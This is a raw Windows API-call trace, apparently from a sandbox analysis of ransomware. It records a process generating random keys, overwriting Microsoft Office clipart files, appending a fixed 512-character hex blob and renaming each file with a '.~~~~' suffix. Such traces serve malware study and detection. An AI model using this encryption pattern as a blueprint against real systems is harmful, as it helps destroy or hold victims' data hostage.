	[0118.638] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0118.638] CloseHandle (hObject=0x140) returned 1
	[0118.756] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0118.757] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01590_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01590_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01590_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01590_.wmf.~~~~")) returned 1
	[0118.758] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0118.758] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0118.758] GetLastError () returned 0x0
	[0118.764] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0118.764] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0118.764] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0118.765] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0118.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0118.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0118.765] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23875480607) returned 1
	[0118.765] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb0470b30, dwHighDateTime=0x1d60e1e)) 
	[0118.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0118.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0118.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0118.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e9568
	[0118.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0118.765] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e9568 | out: hHeap=0x300000) returned 1
	[0118.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0118.765] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0118.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0118.765] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0118.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b3a28
	[0118.765] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0118.765] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0118.765] GetLastError () returned 0x0
	[0118.766] GetLastError () returned 0x0
	[0118.766] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0118.766] GetLastError () returned 0x0
	[0118.766] GetLastError () returned 0x0
	[0119.290] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffe8a6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0119.290] WriteFile (in: hFile=0x128, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x175a, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x24dfec0*=0x175a, lpOverlapped=0x0) returned 1
	[0119.291] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0119.296] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0119.296] WriteFile (in: hFile=0x128, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0119.296] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0119.296] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0119.296] CloseHandle (hObject=0x128) returned 1
	[0119.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f7108
	[0119.431] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00095_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00095_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00095_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00095_.wmf.~~~~")) returned 1
	[0119.433] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f7108 | out: hHeap=0x300000) returned 1
	[0119.433] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0119.433] GetLastError () returned 0x0
	[0119.434] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x2942538) returned 1
	[0119.435] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0119.435] CryptReleaseContext (hProv=0x2942538, dwFlags=0x0) returned 1
	[0119.435] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0119.435] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0119.435] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0119.435] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23942517240) returned 1
	[0119.435] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb0ad6650, dwHighDateTime=0x1d60e1e)) 
	[0119.435] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0119.435] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0119.435] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0119.435] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e95d8
	[0119.435] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0119.436] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e95d8 | out: hHeap=0x300000) returned 1
	[0119.436] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0119.436] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0119.436] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f7108
	[0119.436] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0119.436] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b3c88
	[0119.436] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f7108 | out: hHeap=0x300000) returned 1
	[0119.436] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0119.436] GetLastError () returned 0x0
	[0119.437] GetLastError () returned 0x0
	[0119.437] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0119.437] GetLastError () returned 0x0
	[0119.437] GetLastError () returned 0x0
	[0119.514] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffeddc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0119.515] WriteFile (in: hFile=0x128, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x1224, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x24dfec0*=0x1224, lpOverlapped=0x0) returned 1
	[0119.517] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0119.517] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0119.517] WriteFile (in: hFile=0x128, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0119.517] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0119.517] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0119.517] CloseHandle (hObject=0x128) returned 1
	[0119.517] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f7108
	[0119.517] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00217_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00217_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00217_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00217_.wmf.~~~~")) returned 1
	[0119.519] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f7108 | out: hHeap=0x300000) returned 1
	[0119.519] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0119.519] GetLastError () returned 0x0
	[0119.519] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x2942538) returned 1
	[0119.521] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0119.521] CryptReleaseContext (hProv=0x2942538, dwFlags=0x0) returned 1
	[0119.521] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0119.521] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0119.521] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0119.521] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23951122698) returned 1
	[0119.521] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb0b94d30, dwHighDateTime=0x1d60e1e)) 
	[0119.521] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0119.521] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0119.521] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0119.521] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e9648
	[0119.521] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0119.522] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e9648 | out: hHeap=0x300000) returned 1
	[0119.522] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0119.522] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0119.522] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f7108
	[0119.522] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0119.522] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b3db8
	[0119.522] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f7108 | out: hHeap=0x300000) returned 1
	[0119.522] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0119.522] GetLastError () returned 0x0
	[0119.522] GetLastError () returned 0x0
	[0119.522] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0119.522] GetLastError () returned 0x0
	[0119.523] GetLastError () returned 0x0
	[0119.525] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff8c8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0119.525] WriteFile (in: hFile=0x128, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x738, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x24dfec0*=0x738, lpOverlapped=0x0) returned 1
	[0119.527] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0119.527] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0119.527] WriteFile (in: hFile=0x128, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0119.527] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0119.527] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0119.528] CloseHandle (hObject=0x128) returned 1
	[0119.528] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f7108
	[0119.528] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00231_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00231_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00231_.wmf.~~~~")) returned 1
	[0119.530] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f7108 | out: hHeap=0x300000) returned 1
	[0119.530] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0119.530] GetLastError () returned 0x0
	[0119.531] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x2942538) returned 1
	[0119.532] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0119.532] CryptReleaseContext (hProv=0x2942538, dwFlags=0x0) returned 1
	[0119.533] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0119.533] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0119.533] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0119.533] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23952291694) returned 1
	[0119.533] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb0b94d30, dwHighDateTime=0x1d60e1e)) 
	[0119.533] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0119.533] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0119.533] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0119.533] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e9680
	[0119.533] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0119.533] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e9680 | out: hHeap=0x300000) returned 1
	[0119.533] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0119.533] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0119.533] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f7108
	[0119.534] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0119.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b3ee8
	[0119.534] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f7108 | out: hHeap=0x300000) returned 1
	[0119.534] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0119.534] GetLastError () returned 0x0
	[0119.534] GetLastError () returned 0x0
	[0119.534] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0119.534] GetLastError () returned 0x0
	[0119.534] GetLastError () returned 0x0
	[0119.538] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff398, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0119.538] WriteFile (in: hFile=0x128, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0xc68, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x24dfec0*=0xc68, lpOverlapped=0x0) returned 1
	[0119.539] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0119.540] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0119.540] WriteFile (in: hFile=0x128, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0119.540] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0119.540] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0119.540] CloseHandle (hObject=0x128) returned 1
	[0119.540] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f7108
	[0119.541] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00234_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00234_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00234_.wmf.~~~~")) returned 1
	[0119.542] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f7108 | out: hHeap=0x300000) returned 1
	[0119.542] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0119.542] GetLastError () returned 0x0
	[0119.542] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x2942538) returned 1
	[0119.544] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0119.544] CryptReleaseContext (hProv=0x2942538, dwFlags=0x0) returned 1
	[0119.544] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0119.544] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0119.544] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0119.544] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23953414603) returned 1
	[0119.544] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb0bbae90, dwHighDateTime=0x1d60e1e)) 
	[0119.544] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0119.544] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0119.544] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0119.544] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e96b8
	[0119.544] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0119.544] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e96b8 | out: hHeap=0x300000) returned 1
	[0119.545] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0119.545] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0119.545] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f7108
	[0119.545] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0119.545] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b3f80
	[0119.545] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f7108 | out: hHeap=0x300000) returned 1
	[0119.545] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0119.545] GetLastError () returned 0x0
	[0119.545] GetLastError () returned 0x0
	[0119.545] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0119.545] GetLastError () returned 0x0
	[0119.546] GetLastError () returned 0x0
	[0119.725] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff074, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0119.725] WriteFile (in: hFile=0x128, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0xf8c, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x24dfec0*=0xf8c, lpOverlapped=0x0) returned 1
	[0119.727] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0119.727] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0119.727] WriteFile (in: hFile=0x128, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
